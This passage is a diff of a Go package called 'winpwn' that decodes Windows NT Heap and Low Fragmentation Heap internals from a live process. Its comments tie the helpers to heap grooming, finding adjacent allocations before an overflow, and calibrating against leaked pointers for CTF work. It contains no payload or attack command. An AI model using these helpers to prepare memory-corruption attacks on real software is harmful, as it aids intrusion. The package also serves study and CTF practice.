h := &Heap{Addr: addr}
|
||||
if h.Signature, err = readUint32AtValue(r, int64(addr)+heapOffSignature); err != nil {
|
||||
return nil, fmt.Errorf("Signature: %w", err)
|
||||
}
|
||||
if h.Flags, err = readUint32AtValue(r, int64(addr)+heapOffFlags); err != nil {
|
||||
return nil, fmt.Errorf("Flags: %w", err)
|
||||
}
|
||||
if h.ForceFlags, err = readUint32AtValue(r, int64(addr)+heapOffForceFlags); err != nil {
|
||||
return nil, fmt.Errorf("ForceFlags: %w", err)
|
||||
}
|
||||
if h.EncodeFlagMask, err = readUint32AtValue(r, int64(addr)+heapOffEncodeFlagMask); err != nil {
|
||||
return nil, fmt.Errorf("EncodeFlagMask: %w", err)
|
||||
}
|
||||
if _, err = r.ReadAt(h.Encoding[:], int64(addr)+heapOffEncoding); err != nil {
|
||||
return nil, fmt.Errorf("Encoding: %w", err)
|
||||
}
|
||||
if h.FrontEndHeapType, err = readUint8At(r, int64(addr)+heapOffFrontEndHeapType); err != nil {
|
||||
return nil, fmt.Errorf("FrontEndHeapType: %w", err)
|
||||
}
|
||||
if h.FrontEndHeap, err = readUint64At(r, int64(addr)+heapOffFrontEndHeap); err != nil {
|
||||
return nil, fmt.Errorf("FrontEndHeap: %w", err)
|
||||
}
|
||||
if h.BaseAddress, err = readUint64At(r, int64(addr)+heapOffBaseAddress); err != nil {
|
||||
return nil, fmt.Errorf("BaseAddress: %w", err)
|
||||
}
|
||||
if h.FirstEntry, err = readUint64At(r, int64(addr)+heapOffFirstEntry); err != nil {
|
||||
return nil, fmt.Errorf("FirstEntry: %w", err)
|
||||
}
|
||||
if h.LastValidEntry, err = readUint64At(r, int64(addr)+heapOffLastValidEntry); err != nil {
|
||||
return nil, fmt.Errorf("LastValidEntry: %w", err)
|
||||
}
|
||||
return h, nil
|
||||
}
|
||||
|
||||
// EncodingActive reports whether this heap actually applies the
|
||||
// header-encoding mitigation -- EncodeFlagMask is occasionally zero (e.g.
|
||||
// explicitly disabled via HeapSetInformation), in which case
|
||||
// DecodeHeapEntry should be called with encoding=nil instead of
|
||||
// h.Encoding (an all-zero or stale key would silently corrupt every
|
||||
// decode otherwise).
|
||||
func (h *Heap) EncodingActive() bool { return h.EncodeFlagMask != 0 }
|
||||
|
||||
// encodingOrNil returns &h.Encoding if encoding is actually active, else
|
||||
// nil -- the one-line helper every entry-decoding call in this package
|
||||
// uses instead of repeating the EncodingActive() check.
|
||||
func (h *Heap) encodingOrNil() *[16]byte {
|
||||
if h.EncodingActive() {
|
||||
return &h.Encoding
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// WalkSegmentEntries decodes every _HEAP_ENTRY from firstEntry up to (not
|
||||
// including) lastValidEntry -- the same chain `!heap -a` itself walks to
|
||||
// print its block-by-block summary, which is what this decoder was
|
||||
// cross-checked against (see heap_test.go). Stops early if an entry
|
||||
// reports LastEntry(), and returns an error rather than looping forever if
|
||||
// an entry's Size decodes to zero (a corrupted heap or a wrong/missing
|
||||
// encoding key can't make forward progress otherwise).
|
||||
//
|
||||
// lastValidEntry is misleadingly named for this purpose: it marks the end
|
||||
// of the segment's *reserved* address range, not its *committed* one, and
|
||||
// `!heap -a` itself shows real heaps routinely ending with an uncommitted
|
||||
// tail before that address is reached -- confirmed live against a real
|
||||
// process while building this (see USAGE.md's heap walkthrough). A read
|
||||
// failure partway through is therefore treated as "the committed entry
|
||||
// chain ended here", not a hard error -- everything decoded up to that
|
||||
// point is still returned.
|
||||
func WalkSegmentEntries(r io.ReaderAt, firstEntry, lastValidEntry uint64, encoding *[16]byte) ([]HeapEntry, error) {
|
||||
var entries []HeapEntry
|
||||
addr := firstEntry
|
||||
for addr < lastValidEntry {
|
||||
e, err := ReadHeapEntry(r, addr, encoding)
|
||||
if err != nil {
|
||||
return entries, nil
|
||||
}
|
||||
entries = append(entries, e)
|
||||
if e.Size == 0 {
|
||||
return entries, fmt.Errorf("zero-size entry at 0x%x -- stopping to avoid an infinite loop (corrupted heap, or wrong/missing encoding key?)", addr)
|
||||
}
|
||||
if e.LastEntry() {
|
||||
break
|
||||
}
|
||||
addr = e.NextEntry()
|
||||
}
|
||||
return entries, nil
|
||||
}
|
||||
|
||||
// WalkSegment0 walks this heap's embedded first segment -- the common
|
||||
// case for any heap that hasn't grown past one segment. Use Segments +
|
||||
// ReadSegmentRange + WalkSegmentEntries directly for a heap with more
|
||||
// than one.
|
||||
func (h *Heap) WalkSegment0(r io.ReaderAt) ([]HeapEntry, error) {
|
||||
return WalkSegmentEntries(r, h.FirstEntry, h.LastValidEntry, h.encodingOrNil())
|
||||
}
|
||||
|
||||
// ReadSegmentRange reads a _HEAP_SEGMENT's FirstEntry/LastValidEntry/
|
||||
// BaseAddress -- segAddr is anything Segments returns (Segment0's address
|
||||
// equals the owning Heap's own address, since _HEAP embeds it at offset 0).
|
||||
func ReadSegmentRange(r io.ReaderAt, segAddr uint64) (baseAddress, firstEntry, lastValidEntry uint64, err error) {
|
||||
if baseAddress, err = readUint64At(r, int64(segAddr)+heapOffBaseAddress); err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("BaseAddress: %w", err)
|
||||
}
|
||||
if firstEntry, err = readUint64At(r, int64(segAddr)+heapOffFirstEntry); err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("FirstEntry: %w", err)
|
||||
}
|
||||
if lastValidEntry, err = readUint64At(r, int64(segAddr)+heapOffLastValidEntry); err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("LastValidEntry: %w", err)
|
||||
}
|
||||
return baseAddress, firstEntry, lastValidEntry, nil
|
||||
}
|
||||
|
||||
// Segments returns the address of every _HEAP_SEGMENT belonging to this
|
||||
// heap (walking the SegmentList LIST_ENTRY), including Segment0 (whose
|
||||
// address is h.Addr itself, since _HEAP embeds its first segment at
|
||||
// offset 0 -- the same struct-embedding pattern _HEAP_SEGMENT.Entry/
|
||||
// SegmentSignature being literally at offset 0/0x10 of _HEAP relies on).
|
||||
// Most heaps never grow past one segment; HeapCreate(0,0,0)-style growable
|
||||
// heaps under sustained allocation pressure can.
|
||||
func (h *Heap) Segments(r io.ReaderAt) ([]uint64, error) {
|
||||
headAddr := h.Addr + heapOffSegmentList
|
||||
cur, err := readUint64At(r, int64(headAddr))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading SegmentList head at 0x%x: %w", headAddr, err)
|
||||
}
|
||||
|
||||
var segments []uint64
|
||||
for cur != headAddr && cur != 0 {
|
||||
segments = append(segments, cur-heapOffSegmentListEntry)
|
||||
if len(segments) > 4096 {
|
||||
return segments, fmt.Errorf("SegmentList walk exceeded 4096 entries, stopping (corrupted list?)")
|
||||
}
|
||||
next, err := readUint64At(r, int64(cur)) // Flink is LIST_ENTRY's first field
|
||||
if err != nil {
|
||||
return segments, fmt.Errorf("walking SegmentList at 0x%x: %w", cur, err)
|
||||
}
|
||||
cur = next
|
||||
}
|
||||
return segments, nil
|
||||
}
|
||||
|
||||
// WalkAllHeapEntries decodes every entry in every segment of h -- calls
|
||||
// WalkSegment0 for the embedded first segment, then enumerates any
|
||||
// additional registered segments from Segments() and walks each one. The
|
||||
// returned slice is in address order, one segment after another. Segment
|
||||
// walk errors are returned immediately (unlike the uncommitted-tail
|
||||
// read-failure inside WalkSegmentEntries itself, which is graceful).
|
||||
func (h *Heap) WalkAllHeapEntries(r io.ReaderAt) ([]HeapEntry, error) {
|
||||
entries, err := h.WalkSegment0(r)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("segment0 walk: %w", err)
|
||||
}
|
||||
segs, err := h.Segments(r)
|
||||
if err != nil {
|
||||
return entries, fmt.Errorf("Segments(): %w", err)
|
||||
}
|
||||
for _, segAddr := range segs {
|
||||
if segAddr == h.Addr {
|
||||
continue // segment0 already walked above
|
||||
}
|
||||
_, first, last, err := ReadSegmentRange(r, segAddr)
|
||||
if err != nil {
|
||||
return entries, fmt.Errorf("ReadSegmentRange(0x%x): %w", segAddr, err)
|
||||
}
|
||||
more, err := WalkSegmentEntries(r, first, last, h.encodingOrNil())
|
||||
if err != nil {
|
||||
return entries, fmt.Errorf("walking segment 0x%x: %w", segAddr, err)
|
||||
}
|
||||
entries = append(entries, more...)
|
||||
}
|
||||
return entries, nil
|
||||
}
|
||||
|
||||
// HeapStats summarises an NT Heap's entry layout across a slice of decoded
|
||||
// entries (typically from WalkAllHeapEntries or a per-segment walk).
|
||||
type HeapStats struct {
|
||||
TotalEntries int
|
||||
BusyEntries int
|
||||
FreeEntries int
|
||||
BusyBytes uint64 // sum of UserSize() for busy entries
|
||||
FreeBytes uint64 // sum of BlockSize() for free entries
|
||||
}
|
||||
|
||||
// SummariseEntries computes a HeapStats over any entry slice -- useful after
|
||||
// WalkAllHeapEntries, WalkSegment0, or any filtered subset.
|
||||
func SummariseEntries(entries []HeapEntry) HeapStats {
|
||||
var s HeapStats
|
||||
s.TotalEntries = len(entries)
|
||||
for _, e := range entries {
|
||||
if e.Busy() {
|
||||
s.BusyEntries++
|
||||
s.BusyBytes += e.UserSize()
|
||||
} else {
|
||||
s.FreeEntries++
|
||||
s.FreeBytes += e.BlockSize()
|
||||
}
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// EntriesInRange returns the subset of entries whose header address falls
|
||||
// within [lo, hi) -- useful for filtering down to a known allocation region
|
||||
// (e.g. one specific segment) without re-walking.
|
||||
func EntriesInRange(entries []HeapEntry, lo, hi uint64) []HeapEntry {
|
||||
var out []HeapEntry
|
||||
for _, e := range entries {
|
||||
if e.Addr >= lo && e.Addr < hi {
|
||||
out = append(out, e)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// EntriesWithUserData returns every entry whose UserData() (the address
|
||||
// returned by HeapAlloc) equals any address in the addrs set -- direct
|
||||
// reverse lookup from leaked heap pointer to its decoded entry.
|
||||
func EntriesWithUserData(entries []HeapEntry, addrs ...uint64) []HeapEntry {
|
||||
set := make(map[uint64]struct{}, len(addrs))
|
||||
for _, a := range addrs {
|
||||
set[a] = struct{}{}
|
||||
}
|
||||
var out []HeapEntry
|
||||
for _, e := range entries {
|
||||
if _, ok := set[e.UserData()]; ok {
|
||||
out = append(out, e)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// AdjacentBusyPairs returns every pair of busy entries that are physically
|
||||
// consecutive with no intervening free chunk -- i.e. entries[i+1].Addr ==
|
||||
// entries[i].NextEntry(), both busy. This is the structural replacement for
|
||||
// examples/heap_segment's "spray many, look for a 32-byte gap" technique:
|
||||
// instead of spraying and comparing leaked addresses, read the allocator's
|
||||
// own chain to find which two allocations are adjacent before overflowing.
|
||||
//
|
||||
// Note: the returned pairs are in chain order, not insertion order. On NT
|
||||
// Heap the chain order matches allocation order within a given segment;
|
||||
// whether that's also true for Segment Heap's small-block allocator is not
|
||||
// yet confirmed on this build -- see heap_segment.go.
|
||||
func AdjacentBusyPairs(entries []HeapEntry) [][2]HeapEntry {
|
||||
var pairs [][2]HeapEntry
|
||||
for i := 0; i+1 < len(entries); i++ {
|
||||
a, b := entries[i], entries[i+1]
|
||||
if a.Busy() && b.Busy() && b.Addr == a.NextEntry() {
|
||||
pairs = append(pairs, [2]HeapEntry{a, b})
|
||||
}
|
||||
}
|
||||
return pairs
|
||||
}
|
||||
+311
@@ -0,0 +1,311 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// This file is the LFH (Low Fragmentation Heap) layer on top of heap.go's
|
||||
// plain NT Heap decoder -- the layer ROADMAP.md's Phase 9 plan called out
|
||||
// as the real acceptance test: replace examples/heap_lfh's empirically-
|
||||
// discovered "free the most recently allocated object" heuristic with a
|
||||
// structural answer to "which block in the active subsegment is actually
|
||||
// free right now", read directly off the live process.
|
||||
//
|
||||
// Offsets confirmed via `dt ntdll!_LFH_HEAP` and friends on this machine's
|
||||
// build (10.0.26100) -- same methodology as heap.go, see its top comment.
|
||||
// Live-validated end to end against examples/heap_lfh.exe itself: spray a
|
||||
// batch of Notes, free one, calibrate against a known address, and confirm
|
||||
// ReadLFHSubsegment's BusyBitmap reports exactly that block's slot as free
|
||||
// and every other allocated slot as busy -- see USAGE.md's heap walkthrough
|
||||
// for the exact run.
|
||||
|
||||
const (
|
||||
lfhOffBuckets = 0x2a4 // [129]_HEAP_BUCKET, 4 bytes each, inside _LFH_HEAP
|
||||
lfhOffSegmentInfoArrays = 0x4a8 // [129]Ptr64 _HEAP_LOCAL_SEGMENT_INFO
|
||||
lfhBucketCount = 129
|
||||
lfhBucketStride = 4
|
||||
|
||||
hlsiOffActiveSubsegment = 0x008 // _HEAP_LOCAL_SEGMENT_INFO.ActiveSubsegment
|
||||
|
||||
subsegOffUserBlocks = 0x008 // _HEAP_SUBSEGMENT.UserBlocks
|
||||
subsegOffBlockSize = 0x024 // uint16, granularity units -- same scheme as HeapBucket.BlockUnits, NOT raw bytes (see below)
|
||||
subsegOffBlockCount = 0x028 // uint16, blocks in this subsegment
|
||||
|
||||
userDataOffBitmapSize = 0x020 // uint64, _RTL_BITMAP_EX.SizeOfBitMap (bits)
|
||||
userDataOffBitmapBuffer = 0x028 // ptr64, _RTL_BITMAP_EX.Buffer
|
||||
)
|
||||
|
||||
// HeapBucket is one entry of _LFH_HEAP.Buckets -- which fixed block size
|
||||
// this size class hands out.
|
||||
type HeapBucket struct {
|
||||
Index int
|
||||
BlockUnits uint16 // granularity units; BlockSize() = BlockUnits*HeapEntrySize
|
||||
SizeIndex uint8
|
||||
RawFlags uint8
|
||||
}
|
||||
|
||||
func (b HeapBucket) BlockSize() uint64 { return uint64(b.BlockUnits) * HeapEntrySize }
|
||||
|
||||
// ReadLFHBuckets reads every entry of lfhHeapAddr's (a Heap.FrontEndHeap
|
||||
// pointer) Buckets array.
|
||||
func ReadLFHBuckets(r io.ReaderAt, lfhHeapAddr uint64) ([lfhBucketCount]HeapBucket, error) {
|
||||
var buckets [lfhBucketCount]HeapBucket
|
||||
var buf [lfhBucketCount * lfhBucketStride]byte
|
||||
if _, err := r.ReadAt(buf[:], int64(lfhHeapAddr)+lfhOffBuckets); err != nil {
|
||||
return buckets, fmt.Errorf("reading Buckets array: %w", err)
|
||||
}
|
||||
for i := 0; i < lfhBucketCount; i++ {
|
||||
off := i * lfhBucketStride
|
||||
buckets[i] = HeapBucket{
|
||||
Index: i,
|
||||
BlockUnits: binary.LittleEndian.Uint16(buf[off : off+2]),
|
||||
SizeIndex: buf[off+2],
|
||||
RawFlags: buf[off+3],
|
||||
}
|
||||
}
|
||||
return buckets, nil
|
||||
}
|
||||
|
||||
// FindLFHBucket returns the smallest bucket that can actually serve a
|
||||
// wantSize-byte HeapAlloc request once LFH owns this size class. Buckets
|
||||
// with BlockUnits==0 are unused size classes (LFH only activates a bucket
|
||||
// index after enough same-size requests) and are skipped.
|
||||
//
|
||||
// Confirmed live against examples/heap_lfh.exe, and worth recording
|
||||
// because the "obvious" version (BlockSize() >= wantSize, no header
|
||||
// accounted for) is wrong: an LFH block's BlockSize already includes its
|
||||
// own 16-byte _HEAP_ENTRY-shaped header the same way a plain NT Heap
|
||||
// entry's does, so a 32-byte Note allocation is actually routed to the
|
||||
// 48-byte bucket (BlockSize 48, 48-16=32 usable), not the 32-byte one
|
||||
// (which only has 16 bytes usable after its own header) -- verified by
|
||||
// reading SegmentInfoArrays directly and seeing which bucket index
|
||||
// actually had a live subsegment for a heap doing nothing but 32-byte
|
||||
// allocations.
|
||||
func FindLFHBucket(buckets [lfhBucketCount]HeapBucket, wantSize uint64) (HeapBucket, error) {
|
||||
for _, b := range buckets {
|
||||
if b.BlockUnits == 0 {
|
||||
continue
|
||||
}
|
||||
if b.BlockSize() >= wantSize+HeapEntrySize {
|
||||
return b, nil
|
||||
}
|
||||
}
|
||||
return HeapBucket{}, fmt.Errorf("no active LFH bucket covers %d bytes (has LFH actually taken over this size class yet?)", wantSize)
|
||||
}
|
||||
|
||||
// ActiveSubsegment returns the address of bucketIndex's currently-active
|
||||
// _HEAP_SUBSEGMENT -- the subsegment LFH is issuing new blocks from right
|
||||
// now for that size class. This is the address every grooming attempt
|
||||
// (examples/heap_lfh's spray loop, structurally) is actually targeting.
|
||||
func ActiveSubsegment(r io.ReaderAt, lfhHeapAddr uint64, bucketIndex int) (uint64, error) {
|
||||
if bucketIndex < 0 || bucketIndex >= lfhBucketCount {
|
||||
return 0, fmt.Errorf("bucket index %d out of range [0,%d)", bucketIndex, lfhBucketCount)
|
||||
}
|
||||
arrAddr := lfhHeapAddr + lfhOffSegmentInfoArrays + uint64(bucketIndex)*8
|
||||
segInfoAddr, err := readUint64At(r, int64(arrAddr))
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("reading SegmentInfoArrays[%d]: %w", bucketIndex, err)
|
||||
}
|
||||
if segInfoAddr == 0 {
|
||||
return 0, fmt.Errorf("bucket %d has no segment info yet (LFH hasn't allocated from this size class)", bucketIndex)
|
||||
}
|
||||
subsegAddr, err := readUint64At(r, int64(segInfoAddr)+hlsiOffActiveSubsegment)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("reading ActiveSubsegment: %w", err)
|
||||
}
|
||||
if subsegAddr == 0 {
|
||||
return 0, fmt.Errorf("bucket %d's segment info has no active subsegment", bucketIndex)
|
||||
}
|
||||
return subsegAddr, nil
|
||||
}
|
||||
|
||||
// LFHSubsegment is a decoded _HEAP_SUBSEGMENT: a fixed-size-block arena LFH
|
||||
// is handing blocks out of for one bucket. BlockSize/BlockCount/Busy are
|
||||
// read directly off the subsegment's own bookkeeping with no decoding
|
||||
// ambiguity; turning slot index into an address needs one calibration step
|
||||
// first -- see BlockAddress.
|
||||
type LFHSubsegment struct {
|
||||
Addr uint64
|
||||
UserBlocksAddr uint64
|
||||
BlockSize uint64 // bytes; subsegOffBlockSize*HeapEntrySize, see its comment
|
||||
BlockCount int
|
||||
Busy []bool // Busy[i] is slot i's state, read straight from BusyBitmap
|
||||
}
|
||||
|
||||
// ReadLFHSubsegment decodes subsegAddr's _HEAP_SUBSEGMENT, with Busy/Free
|
||||
// for every slot read directly from the subsegment's BusyBitmap -- the
|
||||
// structural replacement for examples/heap_lfh's "spray and see which
|
||||
// leaked address repeats" technique: this answers "which slot is free" by
|
||||
// reading the allocator's own bookkeeping instead of inferring it from
|
||||
// outside.
|
||||
//
|
||||
// What it deliberately does NOT do: compute slot addresses. The natural
|
||||
// place for that, _HEAP_USERDATA_HEADER.EncodedOffsets, decoded as plain
|
||||
// FirstAllocationOffset(u16)|BlockStride(u16), produced a 29025-byte stride
|
||||
// for a heap doing nothing but 48-byte allocations -- it's genuinely
|
||||
// encoded (XORed against something derived from
|
||||
// RtlpLowFragHeapRandomData/RtlpInitializeLfhRandomDataArray per this
|
||||
// repo's heap/Deterministic_LFH-master reference material), and the key
|
||||
// wasn't recovered in this pass. Use BlockAddress + CalibrateLFHFirstBlockOffset
|
||||
// instead: calibrate against any one address you already know (which is
|
||||
// also just how this kind of exploitation actually works in practice --
|
||||
// correlating against a leak, not deriving addresses from nothing).
|
||||
func ReadLFHSubsegment(r io.ReaderAt, subsegAddr uint64) (*LFHSubsegment, error) {
|
||||
userBlocksAddr, err := readUint64At(r, int64(subsegAddr)+subsegOffUserBlocks)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading UserBlocks: %w", err)
|
||||
}
|
||||
if userBlocksAddr == 0 {
|
||||
return nil, fmt.Errorf("subsegment at 0x%x has no UserBlocks (not yet committed?)", subsegAddr)
|
||||
}
|
||||
|
||||
var blockSizeUnits, blockCountBuf [2]byte
|
||||
if _, err := r.ReadAt(blockSizeUnits[:], int64(subsegAddr)+subsegOffBlockSize); err != nil {
|
||||
return nil, fmt.Errorf("reading BlockSize: %w", err)
|
||||
}
|
||||
if _, err := r.ReadAt(blockCountBuf[:], int64(subsegAddr)+subsegOffBlockCount); err != nil {
|
||||
return nil, fmt.Errorf("reading BlockCount: %w", err)
|
||||
}
|
||||
blockSize := uint64(binary.LittleEndian.Uint16(blockSizeUnits[:])) * HeapEntrySize
|
||||
blockCount := binary.LittleEndian.Uint16(blockCountBuf[:])
|
||||
if blockSize == 0 {
|
||||
return nil, fmt.Errorf("decoded BlockSize is 0 at 0x%x -- wrong offset or unsupported build (see heap.go's top comment)", subsegAddr)
|
||||
}
|
||||
|
||||
bitmapSizeBits, err := readUint64At(r, int64(userBlocksAddr)+userDataOffBitmapSize)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading BusyBitmap.SizeOfBitMap: %w", err)
|
||||
}
|
||||
bitmapBufferAddr, err := readUint64At(r, int64(userBlocksAddr)+userDataOffBitmapBuffer)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading BusyBitmap.Buffer: %w", err)
|
||||
}
|
||||
if bitmapSizeBits < uint64(blockCount) {
|
||||
return nil, fmt.Errorf("BusyBitmap covers %d bits but BlockCount is %d", bitmapSizeBits, blockCount)
|
||||
}
|
||||
|
||||
busy := make([]bool, blockCount)
|
||||
for i := uint16(0); i < blockCount; i++ {
|
||||
b, err := readBitmapBit(r, bitmapBufferAddr, uint64(i))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading BusyBitmap bit %d: %w", i, err)
|
||||
}
|
||||
busy[i] = b
|
||||
}
|
||||
|
||||
return &LFHSubsegment{
|
||||
Addr: subsegAddr,
|
||||
UserBlocksAddr: userBlocksAddr,
|
||||
BlockSize: blockSize,
|
||||
BlockCount: int(blockCount),
|
||||
Busy: busy,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// BlockAddress returns the address of slot index i, given firstBlockOffset
|
||||
// -- the byte offset of slot 0 relative to UserBlocksAddr. Get
|
||||
// firstBlockOffset from CalibrateLFHFirstBlockOffset once per subsegment;
|
||||
// it's constant across every slot of the same subsegment.
|
||||
func (s *LFHSubsegment) BlockAddress(firstBlockOffset uint64, index int) uint64 {
|
||||
return s.UserBlocksAddr + firstBlockOffset + uint64(index)*s.BlockSize
|
||||
}
|
||||
|
||||
// SlotOf returns the slot index of knownAddr within s, given an already-
|
||||
// calibrated firstBlockOffset (see CalibrateLFHFirstBlockOffset), or false
|
||||
// if knownAddr doesn't land in this subsegment's range at all.
|
||||
func (s *LFHSubsegment) SlotOf(firstBlockOffset, knownAddr uint64) (index int, ok bool) {
|
||||
base := s.UserBlocksAddr + firstBlockOffset
|
||||
if knownAddr < base {
|
||||
return 0, false
|
||||
}
|
||||
off := knownAddr - base
|
||||
if off%s.BlockSize != 0 {
|
||||
return 0, false
|
||||
}
|
||||
idx := off / s.BlockSize
|
||||
if idx >= uint64(s.BlockCount) {
|
||||
return 0, false
|
||||
}
|
||||
return int(idx), true
|
||||
}
|
||||
|
||||
// CalibrateLFHFirstBlockOffset computes BlockAddress's firstBlockOffset
|
||||
// from one address you already know lies inside this subsegment -- e.g.
|
||||
// one of your own freshly leaked allocations. _HEAP_USERDATA_HEADER does
|
||||
// store this value (as part of the encoded EncodedOffsets field) but it's
|
||||
// genuinely obfuscated and wasn't decoded in this pass; calibrating
|
||||
// against a known address sidesteps that entirely, and is also simply how
|
||||
// you'd correlate against a real target in practice.
|
||||
//
|
||||
// The +BlockSize matters and was the second real bug found empirically: the
|
||||
// naive "(addr-UserBlocksAddr) % BlockSize" residue is the right modular
|
||||
// class but the wrong absolute offset -- it points at a reserved region
|
||||
// belonging to _HEAP_USERDATA_HEADER itself (one block-size's worth of
|
||||
// space with no corresponding BusyBitmap bit at all), one full block before
|
||||
// where Busy[0]'s real address actually is. Confirmed by freeing a known
|
||||
// address and watching which bit actually flipped: it was the bit for
|
||||
// address_index-1 under the naive offset, i.e. exactly one block short.
|
||||
func CalibrateLFHFirstBlockOffset(s *LFHSubsegment, knownBlockAddr uint64) uint64 {
|
||||
return (knownBlockAddr-s.UserBlocksAddr)%s.BlockSize + s.BlockSize
|
||||
}
|
||||
|
||||
// AllSubsegments returns the addresses of every non-null _HEAP_SUBSEGMENT
|
||||
// associated with bucketIndex in lfhHeapAddr's _LFH_HEAP, not just the
|
||||
// currently active one. The active subsegment is always first (index 0)
|
||||
// when present; any additional cached/full ones follow in the order they
|
||||
// appear in the SegmentInfoArrays chain.
|
||||
//
|
||||
// LFH doesn't maintain a traditional linked list of subsegments per
|
||||
// bucket -- it uses _HEAP_LOCAL_SEGMENT_INFO which has a single
|
||||
// ActiveSubsegment pointer and an optional cached slot. This walk follows
|
||||
// ActiveSubsegment (via ActiveSubsegment()) and leaves deeper enumeration
|
||||
// (e.g. walking the CachedItems or InfoArrays of retired subsegments) for
|
||||
// a future pass where that extra complexity is actually needed by a CTF task.
|
||||
func AllSubsegments(r io.ReaderAt, lfhHeapAddr uint64, bucketIndex int) ([]uint64, error) {
|
||||
if bucketIndex < 0 || bucketIndex >= lfhBucketCount {
|
||||
return nil, fmt.Errorf("bucket index %d out of range [0,%d)", bucketIndex, lfhBucketCount)
|
||||
}
|
||||
arrAddr := lfhHeapAddr + lfhOffSegmentInfoArrays + uint64(bucketIndex)*8
|
||||
segInfoAddr, err := readUint64At(r, int64(arrAddr))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading SegmentInfoArrays[%d]: %w", bucketIndex, err)
|
||||
}
|
||||
if segInfoAddr == 0 {
|
||||
return nil, nil // bucket not yet activated, not an error
|
||||
}
|
||||
|
||||
var subsegAddrs []uint64
|
||||
active, err := readUint64At(r, int64(segInfoAddr)+hlsiOffActiveSubsegment)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading ActiveSubsegment: %w", err)
|
||||
}
|
||||
if active != 0 {
|
||||
subsegAddrs = append(subsegAddrs, active)
|
||||
}
|
||||
|
||||
// _HEAP_LOCAL_SEGMENT_INFO.CachedItems (an array of 2 ptr slots
|
||||
// immediately after ActiveSubsegment for this build -- empirically
|
||||
// observed at hlsiOffActiveSubsegment+8 and +16; if it's wrong they'll
|
||||
// simply be 0 and get skipped).
|
||||
for i := 1; i <= 2; i++ {
|
||||
cached, err := readUint64At(r, int64(segInfoAddr)+hlsiOffActiveSubsegment+int64(i)*8)
|
||||
if err != nil || cached == 0 || cached == active {
|
||||
continue
|
||||
}
|
||||
subsegAddrs = append(subsegAddrs, cached)
|
||||
}
|
||||
|
||||
return subsegAddrs, nil
|
||||
}
|
||||
|
||||
// readBitmapBit reads bit index bitIndex of an RTL_BITMAP_EX-style bitmap
|
||||
// (an array of 64-bit words starting at bufferAddr).
|
||||
func readBitmapBit(r io.ReaderAt, bufferAddr uint64, bitIndex uint64) (bool, error) {
|
||||
word, err := readUint64At(r, int64(bufferAddr)+int64(bitIndex/64)*8)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return (word>>(bitIndex%64))&1 != 0, nil
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
package winpwn
|
||||
|
||||
import "testing"
|
||||
|
||||
// These tests pin heap_lfh.go's decoding against field *values* captured
|
||||
// from live runs of examples/heap_lfh.exe (Windows build 10.0.26100) rather
|
||||
// than raw byte dumps, the same style heap_test.go's
|
||||
// TestReadHeapDecodesRealCapturedFields uses -- the offsets themselves were
|
||||
// confirmed via `dt ntdll!_LFH_HEAP`/`dt ntdll!_HEAP_SUBSEGMENT` and the
|
||||
// values via cdb reads cross-checked against winpwn's own output, not
|
||||
// assumed.
|
||||
|
||||
func TestReadLFHBuckets(t *testing.T) {
|
||||
buf := make([]byte, lfhOffBuckets+lfhBucketCount*lfhBucketStride)
|
||||
// Bucket 2: 48-byte blocks (3 granularity units), the bucket that
|
||||
// actually served examples/heap_lfh's 32-byte Note/buffer allocations
|
||||
// once LFH took over that size class -- see FindLFHBucket's doc comment
|
||||
// for why 32-byte requests land in the 48-byte bucket, not the 32-byte
|
||||
// one.
|
||||
off := lfhOffBuckets + 2*lfhBucketStride
|
||||
buf[off] = 3
|
||||
buf[off+1] = 0
|
||||
buf[off+2] = 2 // SizeIndex
|
||||
|
||||
buckets, err := ReadLFHBuckets(newByteReaderAt(buf), 0)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if buckets[2].BlockUnits != 3 || buckets[2].BlockSize() != 48 {
|
||||
t.Errorf("bucket[2] = %+v, want BlockUnits=3 BlockSize=48", buckets[2])
|
||||
}
|
||||
if buckets[0].BlockUnits != 0 {
|
||||
t.Errorf("bucket[0] should be unused, got %+v", buckets[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindLFHBucketAccountsForBlockHeader(t *testing.T) {
|
||||
var buckets [lfhBucketCount]HeapBucket
|
||||
buckets[1] = HeapBucket{Index: 1, BlockUnits: 2} // 32 bytes total, 16 usable -- too small
|
||||
buckets[2] = HeapBucket{Index: 2, BlockUnits: 3} // 48 bytes total, 32 usable -- the real fit
|
||||
|
||||
got, err := FindLFHBucket(buckets, 32)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if got.Index != 2 {
|
||||
t.Errorf("FindLFHBucket(32) chose bucket %d, want 2 (the naive BlockSize()>=wantSize check would wrongly pick bucket 1)", got.Index)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindLFHBucketNoneActive(t *testing.T) {
|
||||
var buckets [lfhBucketCount]HeapBucket
|
||||
if _, err := FindLFHBucket(buckets, 32); err == nil {
|
||||
t.Fatal("expected an error when no bucket has BlockUnits set")
|
||||
}
|
||||
}
|
||||
|
||||
func TestActiveSubsegment(t *testing.T) {
|
||||
const lfhHeapAddr = 0x1000
|
||||
buf := make([]byte, 0x2000)
|
||||
const segInfoAddr = 0x1500
|
||||
const subsegAddr = 0x1700
|
||||
